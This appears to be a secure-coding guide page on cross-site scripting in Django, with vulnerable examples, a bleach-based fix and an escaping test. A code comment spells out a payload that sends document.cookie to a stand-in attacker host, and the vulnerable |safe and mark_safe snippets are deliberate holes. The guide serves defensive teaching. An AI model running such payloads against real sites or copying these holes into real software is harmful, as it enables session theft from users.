Skip to main content

Overview

Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious client-side scripts into web pages viewed by other users. Unlike SQLi, which targets the server’s database, XSS targets the user’s browser, executing scripts in their security context. This can be used to steal session cookies, impersonate users, deface websites, or launch phishing attacks.

Business Impact

XSS compromises the trust users have in your application. It can lead to widespread account compromise, theft of sensitive user data, unauthorized transactions performed on behalf of the user, and significant reputational damage. It is one of the most prevalent and damaging vulnerabilities for user-facing applications.

Reference Details

CWE ID: CWE-79 OWASP Top 10 (2021): A03:2021 - Injection Severity: High

Framework-Specific Analysis and Remediation

Modern web frameworks provide strong default protection against XSS through automatic output encoding in their template engines. Vulnerabilities are almost always introduced when developers deliberately disable this protection or manually construct HTML without proper escaping.
  • Python
  • Java
  • .NET(C#)
  • PHP
  • Node.js
  • Ruby

Framework Context

Django’s template engine automatically escapes all variable content by default, providing robust protection against XSS. Vulnerabilities occur when developers use the |safe filter or the mark_safe utility to intentionally render raw HTML from a variable containing user input.

Vulnerable Scenario 1: User Profile Bio

A user can set a profile bio, which is then rendered on their public profile. A developer uses the |safe filter to allow “rich HTML” in bios.
# profiles/models.py
class Profile(models.Model):
    user = models.OneToOneField(User, on_delete=models.CASCADE)
    bio = models.TextField()

# templates/profiles/detail.html
{# DANGEROUS: The 'safe' filter disables Django's auto-escaping. #}
{# An attacker can set their bio to: <script>document.location='[http://attacker.com/steal?cookie='+document.cookie](http://attacker.com/steal?cookie='+document.cookie)</script> #}
<div>
    {{ profile.bio|safe }}
</div>

Vulnerable Scenario 2: Reflected Search Query

A search results page displays the user’s original query. To highlight the query, the developer constructs HTML manually.
# search/views.py
from django.utils.safestring import mark_safe

def search_results(request):
    query = request.GET.get('q', '')
    # DANGEROUS: The query is marked as safe without being escaped first.
    # This renders any HTML or script in the query parameter directly.
    message = mark_safe(f"Showing results for: <strong>{query}</strong>")
    return render(request, 'search/results.html', {'message': message})

Mitigation and Best Practices

Trust Django’s default auto-escaping. Never use |safe or mark_safe on data that originated from a user. If rich text formatting is required, use a library like django-bleach to sanitize the HTML, allowing only a safe subset of tags (like <b>, <i>) and stripping out dangerous ones (<script>, <iframe>).

Secure Code Example

# Using django-bleach to allow safe HTML
import bleach
from django.utils.safestring import mark_safe

def save_profile(request):
    # Define the allowed HTML tags and attributes
    allowed_tags = ['b', 'i', 'em', 'strong', 'p']
    
    # Sanitize the user input before saving to the database
    cleaned_bio = bleach.clean(request.POST['bio'], tags=allowed_tags)
    
    profile.bio = cleaned_bio
    profile.save()

# In the template, it is now safe to use |safe
# templates/profiles/detail.html
<div>
    {{ profile.bio|safe }}
</div>

Testing Strategy

Write integration tests that submit payloads containing script tags and other HTML into relevant form fields. Assert that when this data is rendered on a page, the HTML is properly escaped (e.g., <script> becomes &lt;script&gt;) and is not rendered as active content.
# profiles/tests.py
def test_profile_bio_xss(self):
    xss_payload = "<script>alert('xss')</script>"
    self.client.post(reverse('update-profile'), {'bio': xss_payload})
    
    response = self.client.get(reverse('profile-detail', args=[self.user.id]))
    self.assertEqual(response.status_code, 200)
    
    # Check that the script tag is escaped, not rendered raw.
    self.assertContains(response, "&lt;script&gt;alert('xss')&lt;/script&gt;")
    self.assertNotContains(response, "<script>alert('xss')</script>")